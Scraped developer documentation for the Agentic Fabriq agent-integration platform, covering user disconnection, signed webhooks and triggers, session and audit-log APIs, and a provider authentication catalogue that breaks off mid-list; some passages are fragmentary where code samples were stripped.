Webhooks for the payload and how to verify its signature. Managing users and connections Action Endpoint required — without it the call answers connection_id "default" for every provider, so a user with Gmail and Slack connected has two rows sharing that id, and an untargeted delete would be ambiguous. What disconnecting actually does Three different removals, with three different effects. Pick deliberately. Disconnect a tool .../disconnect?tool= ) is the soft one: it revokes the stored OAuth tokens and keeps the connection's metadata, so the user can re-initiate without losing their connection configuration. This is the right call for "the user turned this integration off" and for a credential that needs replacing through a fresh consent. Delete a connection DELETE ...?tool= ) removes the row as well. Use it to remove the integration completely, or to clean up unused connections. Delete the external user purges their connections with them. This is the one to wire to your own account-deletion path. Be precise with your users about the boundary. What these endpoints are documented to do is revoke and remove the credential on Agentic Fabriq's side , which is what stops your agent being able to act. They are not documented as withdrawing the grant inside the provider's own account settings — so if your product promises "removed from your Google account", verify that against the provider rather than assuming the disconnect covers it. A removal is not retroactive against a token that has already been minted. To cut off a session that is live right now, revoke it by its jti Sessions, Logs & Usage From the terminal, afctl users list shows everyone your product has connected. In the console they are under Users . Full request and response shapes live in External Users (B2B2C) could not authenticate , method= , connection_id= , connection_id= connected, but no actions live X-App-Id: $APP_ID X-App-Secret: $APP_SECRET Content-Type: application/json sarah@example.com , email= af_private_key.pem , method= Get a user Delete a user (and purge their connections) List a user’s connections Disconnect one tool ================================================================================ ## Triggers & Webhooks URL: https://www.agenticfabriq.com/docs/dev-triggers Section: Fabriq Developer Triggers & Webhooks The two ways Agentic Fabriq calls you — both signed with the same scheme, so one verification function covers both. Fabriq Developer HMAC-SHA256 Paid plan Connection webhooks tell your backend when a user finishes connecting a tool — so you learn it even if they close the tab before your redirect runs. Triggers react to events inside a connected tool and deliver them to your endpoint. The signature Every delivery carries two headers: Header Value X-AF-Signature , hex X-AF-Timestamp Unix seconds — the same value that was signed The timestamp is inside the signed material, so a captured signature cannot be replayed with a fresh one. Reject any delivery whose timestamp is more than 300 seconds from now, then compare signatures in constant time. Verify it (TypeScript) The TypeScript SDK ships the helper. Pass the raw body — re-serialising parsed JSON reorders keys and breaks the signature. Verify it (Python) The Python SDK does not ship a verifier. The construction is small enough to write against the standard library: Connection webhooks Configure a webhook URL and generate a signing secret under Settings → Connect & webhooks . The secret is shown once. When a user finishes connecting, Agentic Fabriq POSTs: method external_account external_account is how you confirm the connection landed on the account you expected — if the workspace is not Sarah's, disconnect it. connection.needs_reauth expired replace and send the user there. Delivery is best-effort: it retries on 5xx and gives up on 4xx. A broken endpoint of yours never blocks a user's connection, which has already succeeded by the time you are called. Triggers A trigger says "when this provider event happens for my users, do this." Triggers in the console, or over the API. Triggers require a paid plan. Subscribe Field Meaning app_id The agent this subscription belongs to. provider One of slack gmail github notion event_type message app_mention reaction_added reaction_removed member_joined_channel member_left_channel pin_added destination webhook or agent destination_config for an agent. scope all_users (default) or explicit_users scope_user_ids The response is the created subscription, and it is the only signing_secret is returned. Every trigger gets its own secret; store it when you create the trigger. Only Slack receives events today. The other three providers are accepted by the API and shown in the console, but their receivers are not live yet — Gmail and Notion need provider-side infrastructure rather than just code. A subscription created for them will not fire. Agent destinations are not dispatched yet pending rather than silently marked delivered. A webhook destination is the working path today. The delivery payload subject_user is the user the event happened to, resolved by matching the provider account against your connected users. If it cannot be resolved, the event is dropped rather than delivered to the wrong person — and the drop is recorded. Retries and idempotency Up to 3 attempts 4xx is not retried — the receiver rejected us, and retrying will not help. failed Providers redeliver. Each event carries the provider's own event id, and Agentic Fabriq will not deliver the same subscription/event-id pair twice. Your handler should still be idempotent, because your own 200 can be lost in transit. "Did my webhook arrive?" Two logs answer it. Both take X-Organization-Id and require the triggers.view scope. Endpoint Shows GET /api/v1/triggers/ingest-events outcome is matched no_subject no_matching_trigger , with matched_count . Metadata only, no payloads, kept 48 hours. GET /api/v1/triggers/deliveries What Agentic Fabriq tried to send you — status pending delivered failed dead attempts last_error delivered_at . Filter by subscription_id status ; paginate with limit and offset The same two views are in the console under Triggers , and from the terminal: GET /api/v1/triggers . Creating, changing and deleting all require the triggers.manage scope. @agenticfabriq/sdk application/json connection.completed 2026-08-16T15:04:05Z connection.needs_reauth 2026-08-16T15:04:05Z Authorization: Bearer $TOKEN X-Organization-Id: $ORG_ID Content-Type: application/json 2026-08-16T15:04:05 ================================================================================ ## Sessions, Logs & Usage URL: https://www.agenticfabriq.com/docs/dev-observability Section: Fabriq Developer Sessions, Logs & Usage What your agents are doing right now, what they did, and what it cost. Fabriq Developer REST API Console afctl Three views, answering three different questions. All three are exposed over the REST API and in the console; sessions are also reachable from afctl . None of them have SDK methods — they are operator surfaces, not request-path calls. API calls in this doc need an Authorization: Bearer token for a console member, plus X-Organization-Id (and, for the audit endpoints, X-Tenant-Id ). Each is gated on an organization scope, named per section below. Sessions — who is live A session is one live token , keyed by its jti for_user , or for a console member signing in. It expires on its own when the token does, so the list is always "what could act right now", not history. Each item carries: Field Meaning Filters: population app_id auth_level subject include_broker limit offset sessions.view Revoking sessions.revoke Sessions page, which shows subject, proof, agent, calls, last seen and expiry with a revoke button on each row. Logs — what happened Every governed call emits an audit event before the response returns. Events are queried through the audit API, which is what the console's Logs page reads. An event carries: session_jti Sessions : given a suspicious call you can find the token that made it, and revoke it. Endpoint What it gives you GET /api/v1/audit/events The event list. Filters: event_type action status user_id user_email service source app_id search start_time end_time team_id ; paged with page and page_size audit.view GET /api/v1/audit/stats Totals: total successful failed active_users . Scope: audit.view GET /api/v1/audit/export A streaming NDJSON download of the matching events, up to max_rows both audit.view and audit.export , so a view-only auditor cannot bulk-pull. GET /api/v1/audit/my-events The caller's own events, no org scope required. Extra hours filter; omit it for all-time. Useful event_type TOOL_INVOCATION CONNECTION AUTH PERMISSION APPLICATION Logs page splits these into a Tool calls System events tab over the same data. Usage — what it cost Usage page draws, and what plan limits are enforced against. Endpoint What it gives you These require the usage.view scope. Members who are not owners see only the users they manage. The credits balance api_calls credits_available credits_remaining base_limit overage percent_used billing_cycle_start active_users_count addon_credit_limit . Plan limits are API calls per billing period, and calls are blocked once the limit is reached: Plan API calls per period Starter (free) Launch Growth Custom Contract-negotiated addon_credit_limit Triggers Pricing for the current figures. Where each view lives in the console Console page Shows Sessions Live tokens, the proof behind each, and a revoke button. Logs Tool calls and system events, filterable by status, time and agent. Usage Calls over time, per user and per provider, against your plan limit. Users Everyone your product has connected, and what they connected. Triggers Subscriptions, recent provider events, and the delivery log. Authorization: Bearer $TOKEN X-Organization-Id: $ORG_ID The token id. Also the handle you revoke by. external | member iat / exp Issued-at and expiry, Unix seconds. mcp | broker — broker sessions are coding-agent brokers. Authorization: Bearer $TOKEN X-Organization-Id: $ORG_ID Authorization: Bearer $TOKEN X-Organization-Id: $ORG_ID X-Tenant-Id: $TENANT_ID 2026-08-16T15:04:05Z (default 30, max 90). A daily series: date, total, and per-provider counts. The caller’s own usage, same shape. One user’s usage. A user may read their own without the scope. Who spent it: per-user totals for the period. ================================================================================ ## Provider Auth Catalogue URL: https://www.agenticfabriq.com/docs/provider-auth Section: Fabriq Developer # Provider Auth Catalogue Which connect flow each integration uses, generated from the provider registry. Two catalogues below: providers your end user connects by **OAuth consent**, and providers your end user connects by **pasting a credential** on an Agentic Fabriq-hosted page. ## Both catalogues are end-user self-service There is no admin-entered credential path for external users. Every credential — an OAuth grant or a pasted API key — is supplied by your end user on a page Agentic Fabriq hosts, and lands in AF's vault. Your backend never sees it. The only thing an org admin ever supplies is the OAuth **client app** for providers marked "your own app" below. That is a one-time setup step, not an alternative to the user connecting: the end user still completes consent themselves afterwards. Do not route an API-credential provider to an admin or a console step. One shared credential across all your users is the failure that model produces. ## Which route to call There are exactly **two routes**, and the capability contract is `oauth || key_connect` — two branches, no third. | Call | When | Redirect your user to | | --- | --- | --- | | `POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate` | `oauth` | `oauth_url` | | `POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate` | `key_connect` | `connect_url` | `key_connect` means **"connect through the credentials initiate"** — not "the user pastes a key". Agentic Fabriq hosts the page and decides what it asks for: a credential to paste for most providers, or a sign-in, QR scan or pairing code for the linked-account ones, which have nothing to paste at all. Your code does the same thing either way — redirect, then wait for the callback. `link_connect` tells you **which page your user will see**. Use it for UI copy only. Never branch on it and never gate a button on it; the routing flag is `key_connect`. `connect_url` is single-use and expires in 300s — mint it per click. Both routes return to the same Redirect URL with the same query parameters, so one callback handler covers both. **Prefer OAuth when a provider offers both.** Consent at the provider beats asking a user for a credential. The credentials route is the fallback. ## This file is a map, not the source of truth Which providers have an AF-owned OAuth app is deployment state and changes without notice. Branch at runtime on `GET /api/v1/apps/{app_id}/external-users/providers/capabilities`, which returns `oauth`, `key_connect`, `link_connect`, `af_app_configured`, `org_app_supported`, `app_unavailable_message`, `af_app_configured_by_instance`, `af_app_instance_scope` and `instance_required` per provider. Use this file to understand the shape of the catalogue; use the endpoint to decide what to render. A provider's absence from a list is never evidence it cannot be connected. --- ## OAuth providers (125) Your end user is redirected to the provider and authorises there. | Provider key | Name | Category | OAuth app | Tools | Also API credential | | --- | --- | --- | --- | --- | --- | | `airtable` | Airtable | Data | AF's app | 23 | yes | | `alpaca` | Alpaca | Business | Your own app (admin registers it first) | 100 | yes | | `apollo` | Apollo.io | Business | AF's app, or your own | 80 | yes | | `asana` | Asana | Project management | AF's app, or your own | 248 | — | | `attio` | Attio | Business | Your own app (admin registers it first) | 131 | yes | | `bamboohr` | BambooHR | Business | AF's app | 297 | — | | `basecamp` | Basecamp | Project management | AF's app, or your own | 251 | — | | `betterstack` | Better Stack | Developer | AF's app, or your own | 240 | yes | | `bigquery` | Google BigQuery | Data | AF's app | 169 | yes | | `bitbucket` | Bitbucket | Developer | AF's app, or your own | 294 | yes | | `boldsign` | BoldSign | Docs & knowledge | AF's app, or your own | 85 | yes | | `box` | Box | Docs & knowledge | AF's app, or your own | 288 | — | | `calcom` | Cal.com | Business | Your own app (admin registers it first) | 329 | yes | | `calendar` | Google Calendar | Google Workspace | AF's app, or your own | 10 | — | | `calendly` | Calendly | Business | AF's app, or your own | 60 | yes | | `capsulecrm` | Capsule CRM | Business | AF's app, or your own | 132 | yes | | `chat` | Google Chat | Google Workspace | AF's app, or your own | 13 | — | | `classroom` | Google Classroom | Google Workspace | AF's app, or your own | 7 | — | | `clickup` | ClickUp | Project management | AF's app, or your own | 171 | — | | `cloudinary` | Cloudinary | Developer | AF's app, or your own | 127 | yes | | `confluence` | Confluence | Docs & knowledge | AF's app, or your own | 341 | — | | `constantcontact` | Constant Contact | Marketing | Your own app (admin registers it first) | 129 | — | | `contacts` | Google Contacts | Google Workspace | AF's app, or your own | 8 | — | | `contentful` | Contentful | Docs & knowledge | AF's app, or your own | 322 | yes | | `convex` | Convex | Developer | AF's app, or your own | 41 | yes | | `crowdin` | Crowdin | Developer | AF's app, or your own | 371 | yes | | `databricks` | Databricks | Data | Your own app (admin registers it first) | 1071 | yes | | `digitalocean` | DigitalOcean | Developer | AF's app, or your own | 655 | yes | | `docs` | Google Docs | Google Workspace | AF's app, or your own | 8 | — | | `docusign` | DocuSign | Docs & knowledge | AF's app, or your own | 585 | — | | `drive` | Google Drive | Google Workspace | AF's app, or your own | 12 | — | | `dropbox` | Dropbox | Docs & knowledge | Your own app (admin registers it first) | 157 | — | | `dropboxsign` | Dropbox Sign | Docs & knowledge | Your own app (admin registers it first) | 68 | yes | | `egnyte` | Egnyte | Docs & knowledge | Your own app (admin registers it first) | 126 | — | | `erpnext` | ERPNext | Business | Your own app (admin registers it first) | 25 | yes | | `fathom` | Fathom | Docs & knowledge | AF's app, or your own | 10 | yes | | `figma` | Figma | Design | Your own app (admin registers it first) | 38 | — | | `fillout` | Fillout | Marketing | Your own app (admin registers it first) | 8 | yes | | `formbricks` | Formbricks | Marketing | AF's app | 88 | yes | | `forms` | Google Forms | Google Workspace | AF's app, or your own | 9 | — | | `freeagent` | FreeAgent | Business | AF's app, or your own | 148 | — | | `gist` | GitHub Gist | Developer | AF's app, or your own | 20 | yes | | `gitea` | Gitea | Developer | Your own app (admin registers it first) | 467 | yes | | `github` | GitHub | Developer | AF's app, or your own | 12 | — | | `gitlab` | GitLab | Developer | AF's app, or your own | 218 | — | | `gmail` | Gmail | Google Workspace | AF's app, or your own | 17 | — | | `google_ads` | Google Ads | Marketing | AF's app, or your own | 170 | — | | `google_cloud_vision` | Google Cloud Vision | AI | Your own app (admin registers it first) | 23 | yes | | `googleanalytics` | Google Analytics | Data | Your own app (admin registers it first) | 21 | — | | `googlechat` | Google Chat | Messaging | Your own app (admin registers it first) | 50 | — | | `gorgias` | Gorgias | Business | Your own app (admin registers it first) | 113 | yes | | `granola` | Granola | Docs & knowledge | AF's app | 11 | yes | | `grist` | Grist | Data | Your own app (admin registers it first) | 113 | yes | | `gusto` | Gusto | Gusto | Your own app (admin registers it first) | 137 | — | | `harvest` | Harvest | Project management | AF's app, or your own | 146 | yes | | `helpdesk` | HelpDesk.com | Business | Your own app (admin registers it first) | 137 | yes | | `helpscout` | Help Scout | Business | AF's app, or your own | 143 | yes | | `highlevel` | HighLevel | Business | Your own app (admin registers it first) | 568 | yes | | `hubspot` | HubSpot | Business | Your own app (admin registers it first) | 601 | — | | `huggingface` | Hugging Face | AI | AF's app, or your own | 313 | yes | | `intercom` | Intercom | Business | Your own app (admin registers it first) | 231 | — | | `kit` | Kit | Marketing | Your own app (admin registers it first) | 83 | yes | | `klaviyo` | Klaviyo | Marketing | AF's app, or your own | 344 | yes | | `kommo` | Kommo | Business | AF's app, or your own | 143 | yes | | `launchdarkly` | LaunchDarkly | Developer | Your own app (admin registers it first) | 399 | yes | | `linear` | Linear | Developer | AF's app | 272 | yes | | `linkedin_ads` | LinkedIn Ads | Marketing | AF's app, or your own | 98 | — | | `loyverse` | Loyverse | Business | AF's app, or your own | 56 | yes | | `mailchimp` | Mailchimp | Marketing | AF's app, or your own | 298 | yes | | `mailsoftly` | Mailsoftly | Marketing | AF's app, or your own | 144 | yes | | `manus` | Manus | AI | Your own app (admin registers it first) | 33 | yes | | `meet` | Google Meet | Google Workspace | AF's app, or your own | 4 | — | | `meta_marketing` | Meta Marketing | Marketing | AF's app, or your own | 238 | yes | | `microsoft_bookings` | Microsoft Bookings | Microsoft 365 | AF's app, or your own | 22 | — | | `microsoft_calendar` | Microsoft Calendar | Microsoft 365 | AF's app, or your own | 22 | — | | `microsoft_chat` | Microsoft Teams Chat | Microsoft 365 | AF's app, or your own | 19 | — | | `microsoft_contacts` | Microsoft Contacts | Microsoft 365 | AF's app, or your own | 16 | — | | `microsoft_onedrive` | Microsoft OneDrive | Microsoft 365 | AF's app, or your own | 29 | — | | `microsoft_onenote` | Microsoft OneNote | Microsoft 365 | AF's app, or your own | 18 | — | | `microsoft_outlook` | Microsoft Outlook | Microsoft 365 | AF's app, or your own | 33 | — | | `microsoft_todo` | Microsoft To-Do | Microsoft 365 | AF's app, or your own | 22 | — | | `miro` | Miro | Design | AF's app, or your own | 176 | yes | | `monday` | monday.com | Project management | AF's app, or your own | 85 | — | | `notion` | Notion | Docs & knowledge | AF's app, or your own | 16 | — | | `nusii` | Nusii | Business | Your own app (admin registers it first) | 43 | yes | | `onenote` | Microsoft OneNote | Docs & knowledge | AF's app, or your own | 30 | — | | `outline` | Outline | Docs & knowledge | AF's app, or your own | 111 | yes | | `pagerduty` | PagerDuty | Developer | Your own app (admin registers it first) | 459 | — | | `panda_doc` | PandaDoc | Docs & knowledge | Your own app (admin registers it first) | 122 | yes | | `pipedrive` | Pipedrive | Business | AF's app, or your own | 156 | — | | `posthog` | PostHog | Data | AF's app | 291 | — | | `productboard` | Productboard | Project management | AF's app, or your own | 59 | yes | | `productlane` | Productlane | Business | Your own app (admin registers it first) | 146 | yes | | `quickbooks` | QuickBooks Online | Business | AF's app, or your own | 184 | — | | `ramp` | Ramp | Business | Your own app (admin registers it first) | 244 | — | | `redditads` | Reddit Ads | Marketing | AF's app, or your own | 100 | — | | `replit_apps` | Replit | Developer | AF's app | 8 | — | | `resend` | Resend | Messaging | AF's app, or your own | 108 | yes | | `salesforce` | Salesforce | Business | Your own app (admin registers it first) | 137 | — | | `sendfox` | SendFox | Marketing | AF's app, or your own | 65 | yes | | `sentry` | Sentry | Developer | AF's app, or your own | 221 | yes | | `sharepoint` | SharePoint | Microsoft 365 | AF's app, or your own | 148 | — | | `sheets` | Google Sheets | Google Workspace | AF's app, or your own | 9 | — | | `slack` | Slack | Messaging | AF's app, or your own | 10 | — | | `slides` | Google Slides | Google Workspace | AF's app, or your own | 8 | — | | `snapchat` | Snapchat Ads | Marketing | AF's app, or your own | 189 | — | | `snowflake` | Snowflake | Data | Your own app (admin registers it first) | 62 | — | | `square` | Square | Business | AF's app, or your own | 327 | yes | | `stackexchange` | Stack Exchange | Developer | AF's app, or your own | 177 | yes | | `supabase` | Supabase | Developer | AF's app | 117 | — | | `tasks` | Google Tasks | Google Workspace | AF's app, or your own | 9 | — | | `telnyx` | Telnyx | Messaging | Your own app (admin registers it first) | 1222 | yes | | `thanks_io` | thanks.io | Marketing | Your own app (admin registers it first) | 41 | yes | | `todoist` | Todoist | Project management | AF's app, or your own | 102 | yes | | `twitter` | X | Messaging | AF's app, or your own | 81 | — | | `vercel` | Vercel | Developer | AF's app, or your own | 327 | yes | | `webex` | Webex | Messaging | Your own app (admin registers it first) | 222 | yes | | `webflow` | Webflow | Design | Your own app (admin registers it first) | 126 | yes | | `wix` | Wix | Business | AF's app, or your own | 585 | yes | | `wrike` | Wrike | Project management | AF's app, or your own | 195 | yes | | `xero` | Xero | Business | AF's app, or your own | 224 | — | | `youtube` | YouTube | Marketing | AF's app, or your own | 92 | — | | `zendesk` | Zendesk | Business | Your own app (admin registers it first) | 338 | — | | `zohocrm` | Zoho CRM | Business | AF's app, or your own | 444 | — | | `zoom` | Zoom | Messaging | Your own app (admin registers it first) | 62 | — | ## API-credential providers (444) Your end user is redirected to an Agentic Fabriq-hosted page and pastes their own credential there. The credential is validated against the provider before it is stored. The ticket rides in the URL fragment, so it never reaches a server log or a `Referer` header. | Provider key | Name | Category | Tools | Also OAuth | | --- | --- | --- | --- | --- | | `ably` | Ably | Developer | 42 | — | | `accredible` | Accredible | Business | 64 | — | | `activecampaign` | ActiveCampaign | Marketing | 335 | — | | `activetrail` | ActiveTrail | Marketing | 230 | — | | `addressfinder` | AddressFinder | Data | 17 | — | | `affinda` | Affinda | AI | 142 | — | | `affinity` | Affinity | Business | 104 | — | | `agencyzoom` | AgencyZoom | Business | 110 | — | | `agenty` | Agenty | Developer | 70 | — | | `agiled` | Agiled | Business | 150 | — | | `ahrefs` | Ahrefs | Marketing | 151 | — | | `aimlapi` | AI/ML API | AI | 32 | — | | `airtable` | Airtable | Data | 23 | yes — prefer it | | `alchemy` | Alchemy | Developer | 55 | — | | `algolia` | Algolia | Developer | 98 | — | | `alpaca` | Alpaca | Business | 100 | yes — prefer it | | `alphavantage` | Alpha Vantage | Data | 128 | — | | `amara` | Amara | Docs & knowledge | 53 | — | | `ambee` | Ambee | Data | 33 | — | | `amplitude` | Amplitude | Data | 48 | — | | `anchorbrowser` | Anchor Browser | AI | 115 | — | | `apibible` | API.Bible | Data | 19 | — | | `apify` | Apify | Developer | 227 | — | | `apininjas` | API Ninjas | Data | 231 | — | | `apipie_ai` | APIpie | AI | 28 | — | | `apisports` | API-Sports | Data | 114 | — | | `apollo` | Apollo.io | Business | 80 | yes — prefer it | | `appcircle` | Appcircle | Developer | 272 | — | | `appveyor` | AppVeyor | Developer | 44 | — | | `ascora` | Ascora | Business | 46 | — | | `attio` | Attio | Business | 131 | yes — prefer it | | `backendless` | Backendless | Developer | 11 | — | | `bannerbear` | Bannerbear | Design | 64 | — | | `bart` | BART | Data | 15 | — | | `baselinker` | BaseLinker | Business | 198 | — | | `baserow` | Baserow | Data | 414 | — | | `basin` | Basin | Marketing | 29 | — | | `beaconchain` | beaconcha.in | Data | 50 | — | | `beaconstac` | Uniqode (Beaconstac) | Marketing | 97 | — | | `benchmarkemail` | Benchmark Email | Marketing | 40 | — | | `betterproposals` | Better Proposals | Business | 25 | — | | `betterstack` | Better Stack | Developer | 240 | yes — prefer it | | `bidsketch` | Bidsketch | Business | 40 | — | | `bigdatacloud` | BigDataCloud | Data | 27 | — | | `bigmailer` | BigMailer | Marketing | 79 | — | | `bigml` | BigML | Developer | 190 | — | | `bigquery` | Google BigQuery | Data | 169 | yes — prefer it | | `bitbucket` | Bitbucket | Developer | 294 | yes — prefer it | | `blazemeter` | BlazeMeter | Developer | 172 | — | | `boldsign` | BoldSign | Docs & knowledge | 85 | yes — prefer it | | `bolna` | Bolna | AI | 96 | — | | `bookingmood` | Bookingmood | Business | 211 | — | | `booqable` | Booqable | Business | 297 | — | | `botpress` | Botpress | AI | 98 | — | | `botstar` | BotStar | AI | 25 | — | | `boxhero` | BoxHero | Business | 85 | — | | `breathehr` | Breathe HR | Business | 62 | — | | `breeze` | Breeze | Project management | 64 | — | | `breezyhr` | Breezy HR | Business | 59 | — | | `brilliantdirectories` | Brilliant Directories | Business | 626 | — | | `browserbase` | Browserbase | Developer | 51 | — | | `btc_pay_server` | BTCPay Server | Business | 196 | — | | `bubble_io` | Bubble | Developer | 7 | — | | `bugherd` | BugHerd | Project management | 40 | — | | `bugsnag` | BugSnag (SmartBear Insight Hub) | Developer | 141 | — | | `bunnycdn` | bunny.net | Developer | 185 | — | | `calcom` | Cal.com | Business | 329 | yes — prefer it | | `calendly` | Calendly | Business | 60 | yes — prefer it | | `callingly` | Callingly | Messaging | 30 | — | | `callpage` | CallPage | Messaging | 29 | — | | `campayn` | Campayn | Marketing | 10 | — | | `canny` | Canny | Project management | 51 | — | | `capsulecrm` | Capsule CRM | Business | 132 | yes — prefer it | | `cardly` | Cardly | Marketing | 49 | — | | `catsone` | CATSone | Business | 217 | — | | `celigo` | Celigo | Developer | 456 | — | | `censusbureau` | US Census Bureau | Data | 8 | — | | `centralstationcrm` | CentralStationCRM | Business | 179 | — | | `chaser` | Chaser | Business | 54 | — | | `chatbotkit` | ChatBotKit | AI | 334 | — | | `chatwork` | Chatwork | Messaging | 31 | — | | `chmeetings` | ChMeetings | Business | 143 | — | | `circleci` | CircleCI | Developer | 111 | — | | `claid` | Claid | AI | 19 | — | | `classmarker` | ClassMarker | Business | 15 | — | | `clearout` | Clearout | Marketing | 30 | — | | `clickmeeting` | ClickMeeting | Messaging | 34 | — | | `clicksend` | ClickSend | Messaging | 205 | — | | `clientary` | Clientary | Business | 71 | — | | `cloudcart` | CloudCart | Business | 142 | — | | `cloudflare` | Cloudflare | Developer | 309 | — | | `cloudinary` | Cloudinary | Developer | 127 | yes — prefer it | | `cloudlayer` | cloudlayer.io | Docs & knowledge | 17 | — | | `coda` | Coda (Superhuman Docs) | Docs & knowledge | 125 | — | | `codacy` | Codacy | Developer | 281 | — | | `codemagic` | Codemagic | Developer | 84 | — | | `codereadr` | CodeREADr | Data | 38 | — | | `cody` | Cody AI | AI | 21 | — | | `coinbase` | Coinbase | Business | 12 | — | | `coinranking` | Coinranking | Data | 60 | — | | `collegefootballdata` | College Football Data | Data | 84 | — | | `companyenrich` | CompanyEnrich | Data | 48 | — | | `composio` | Composio Search | Data | 22 | — | | `connecteam` | Connecteam | Business | 160 | — | | `contentful` | Contentful | Docs & knowledge | 322 | yes — prefer it | | `controld` | Control D | Security | 46 | — | | `convertapi` | ConvertAPI | Developer | 312 | — | | `convex` | Convex | Developer | 41 | yes — prefer it | | `conveyor` | Conveyor | Security | 48 | — | | `corrently` | Corrently | Data | 21 | — | | `countdownapi` | Countdown API | Data | 33 | — | | `crowdin` | Crowdin | Developer | 371 | yes — prefer it | | `crowterminal` | CrowTerminal | Marketing | 28 | — | | `crustdata` | Crustdata | Data | 59 | — | | `customerio` | Customer.io | Marketing | 209 | — | | `customgpt` | CustomGPT.ai | AI | 100 | — | | `dadata` | DaData | Data | 22 | — | | `data247` | Data247 | Data | 19 | — | | `databricks` | Databricks | Data | 1071 | yes — prefer it | | `datadog` | Datadog | Developer | 258 | — | | `dataforseo` | DataForSEO | Data | 138 | — | | `datarobot` | DataRobot | AI | 332 | — | | `datascope` | DataScope | Business | 25 | — | | `daytona` | Daytona | Developer | 196 | — | | `deployhq` | DeployHQ | Developer | 213 | — | | `detrack` | Detrack | Business | 25 | — | | `devto` | DEV Community | Developer | 114 | — | | `dialmycalls` | DialMyCalls | Messaging | 56 | — | | `diffbot` | Diffbot | Data | 39 | — | | `digicert` | DigiCert | Security | 251 | — | | `digitalocean` | DigitalOcean | Developer | 655 | yes — prefer it | | `dnsfilter` | DNSFilter | Security | 291 | — | | `dockerhub` | Docker Hub | Developer | 40 | — | | `docmosis` | Docmosis | Docs & knowledge | 21 | — | | `docsbot` | DocsBot AI | AI | 64 | — | | `documenso` | Documenso | Docs & knowledge | 34 | — | | `docuseal` | DocuSeal | Docs & knowledge | 23 | — | | `doppler` | Doppler | Developer | 125 | — | | `dopplermarketing` | Doppler Marketing Automation | Marketing | 68 | — | | `dovetail` | Dovetail | Docs & knowledge | 91 | — | | `dripcel` | Dripcel | Marketing | 32 | — | | `dropboxsign` | Dropbox Sign | Docs & knowledge | 68 | yes — prefer it | | `dungeonfighteronline` | Dungeon Fighter Online | Data | 25 | — | | `e2b` | E2B | Developer | 56 | — | | `elevenlabs` | ElevenLabs | AI | 336 | — | | `elorus` | Elorus | Business | 427 | — | | `emailoctopus` | EmailOctopus | Marketing | 25 | — | | `emelia` | Emelia | Business | 56 | — | | `encodian` | Encodian | Docs & knowledge | 345 | — | | `endorsal` | Endorsal | Marketing | 10 | — | | `enginemailer` | Enginemailer | Marketing | 25 | — | | `enigma` | Enigma | Data | 8 | — | | `erpnext` | ERPNext | Business | 25 | yes — prefer it | | `esignaturesio` | eSignatures.com | Docs & knowledge | 26 | — | | `etermin` | eTermin | Business | 70 | — | | `eventee` | Eventee | Business | 31 | — | | `everhour` | Everhour | Project management | 101 | — | | `exa` | Exa | AI | 64 | — | | `expofp` | ExpoFP | Business | 38 | — | | `faraday` | Faraday | Data | 194 | — | | `fathom` | Fathom | Docs & knowledge | 10 | yes — prefer it | | `feathery` | Feathery | Marketing | 53 | — | | `felt` | Felt | Data | 57 | — | | `fibery` | Fibery | Project management | 12 | — | | `fidel` | Fidel API | Business | 55 | — | | `fillout` | Fillout | Marketing | 8 | yes — prefer it | | `finage` | Finage | Data | 70 | — | | `findymail` | Findymail | Business | 36 | — | | `finerworks` | FinerWorks | Business | 61 | — | | `finmei` | Finmei | Business | 9 | — | | `fireberry` | Fireberry | Business | 243 | — | | `firecrawl` | Firecrawl | Developer | 53 | — | | `fireflies` | Fireflies.ai | Docs & knowledge | 34 | — | | `firmao` | Firmao | Business | 29 | — | | `flowise` | Flowise | AI | 45 | — | | `flutterwave` | Flutterwave | Business | 120 | — | | `fluxguard` | Fluxguard | Developer | 12 | — | | `flyio` | Fly.io | Developer | 96 | — | | `folk` | folk | Business | 60 | — | | `forcemanager` | ForceManager | Business | 271 | — | | `formbricks` | Formbricks | Marketing | 88 | yes — prefer it | | `formdesk` | Formdesk | Marketing | 37 | — | | `freshdesk` | Freshdesk | Business | 236 | — | | `geoapify` | Geoapify | Data | 27 | — | | `getprospect` | GetProspect | Business | 26 | — | | `giftup` | Gift Up! | Business | 55 | — | | `gigasheet` | Gigasheet | Data | 167 | — | | `giphy` | GIPHY | Design | 27 | — | | `gist` | GitHub Gist | Developer | 20 | yes — prefer it | | `gitea` | Gitea | Developer | 467 | yes — prefer it | | `givebutter` | Givebutter | Business | 70 | — | | `gleap` | Gleap | Business | 312 | — | | `godial` | GoDial | Business | 31 | — | | `goody` | Goody | Business | 28 | — | | `google_cloud_vision` | Google Cloud Vision | AI | 23 | yes — prefer it | | `gorgias` | Gorgias | Business | 113 | yes — prefer it | | `gosquared` | GoSquared | Data | 92 | — | | `granola` | Granola | Docs & knowledge | 11 | yes — prefer it | | `graph_hopper` | GraphHopper | Data | 16 | — | | `grist` | Grist | Data | 113 | yes — prefer it | | `gtmetrix` | GTmetrix | Developer | 38 | — | | `habitica` | Habitica | Project management | 161 | — | | `handwrytten` | Handwrytten | Marketing | 47 | — | | `happyscribe` | Happy Scribe | Docs & knowledge | 33 | — | | `harvest` | Harvest | Project management | 146 | yes — prefer it | | `hashnode` | Hashnode | Messaging | 24 | — | | `helpdesk` | HelpDesk.com | Business | 137 | yes — prefer it | | `helpscout` | Help Scout | Business | 143 | yes — prefer it | | `helpwise` | Helpwise | Business | 26 | — | | `here` | HERE | Data | 32 | — | | `hex` | Hex | Data | 59 | — | | `heygen` | HeyGen | AI | 186 | — | | `heyreach` | HeyReach | Business | 86 | — | | `heyy` | Heyy | Messaging | 71 | — | | `heyzine` | Heyzine | Docs & knowledge | 17 | — | | `highergov` | HigherGov | Data | 19 | — | | `highlevel` | HighLevel | Business | 568 | yes — prefer it | | `honeyhive` | HoneyHive | Developer | 70 | — | | `hookdeck` | Hookdeck | Developer | 123 | — | | `hostinger` | Hostinger | Developer | 387 | — | | `hotspotsystem` | HotspotSystem | Business | 18 | — | | `hubplanner` | Hub Planner | Project management | 151 | — | | `huggingface` | Hugging Face | AI | 313 | yes — prefer it | | `hunter` | Hunter | Marketing | 161 | — | | `hyperbrowser` | Hyperbrowser | AI | 81 | — | | `icypeas` | Icypeas | Business | 19 | — | | `ignisign` | Ignisign | Docs & knowledge | 40 | — | | `imagekit` | ImageKit | Docs & knowledge | 46 | — | | `imgix` | imgix | Developer | 18 | — | | `incidentio` | incident.io | Developer | 218 | — | | `insighto` | Insighto | AI | 226 | — | | `instantly` | Instantly | Marketing | 167 | — | | `intelliprint` | Intelliprint | Messaging | 17 | — | | `interzoid` | Interzoid | Data | 58 | — | | `ipdata` | ipdata | Data | 